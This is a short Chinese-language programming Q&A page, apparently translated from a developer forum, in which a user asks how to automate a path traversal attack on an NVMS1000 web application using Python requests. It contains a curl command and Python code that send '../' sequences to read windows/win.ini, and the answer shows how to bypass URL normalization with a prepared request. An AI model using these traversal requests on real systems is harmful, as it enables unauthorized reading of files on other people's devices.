首页 > 解决方案 > 使用python请求进行路径遍历

问题描述

最近,我想通过 python 请求模块自动攻击一个容易受到路径遍历攻击(NVMS1000)的 Web 应用程序。

通过使用选项 path-as-is,该请求与 curl 完美配合:

curl --path-as-is http://127.0.0.1/../../../../../../../../../../windows/win.ini

但是,当使用 python 请求模块时,从 urlpath 中剥离的“../”(我可以通过 Burp Suite 清楚地看到):

host = "127.0.0.1"
path = "/../../../../../../../../../.."
file = "/windows/win.ini"
url = host+path+file
response = requests.get(url,proxies=proxies)

我检查了文档,但没有找到对此行为的任何解释,也没有找到防止剥离/标准化的选项,类似于 curl 的选项。

平台是debian,请求模块是2.22.0版本

谢谢你的帮助。

标签: pythonpython-requestspath-traversal

解决方案


我知道我迟到了,但考虑降级 urllib3:

pip install --upgrade urllib3==1.24.3

或者更好的是,您应该使用准备好的请求

my_url = 'http://127.0.0.1/../../../../../../../../../../windows/win.ini'
s = requests.Session()
r = requests.Request(method='GET', url=my_url)
prep = r.prepare()
prep.url = my_url # actual url you want
response = s.send(prep)

推荐阅读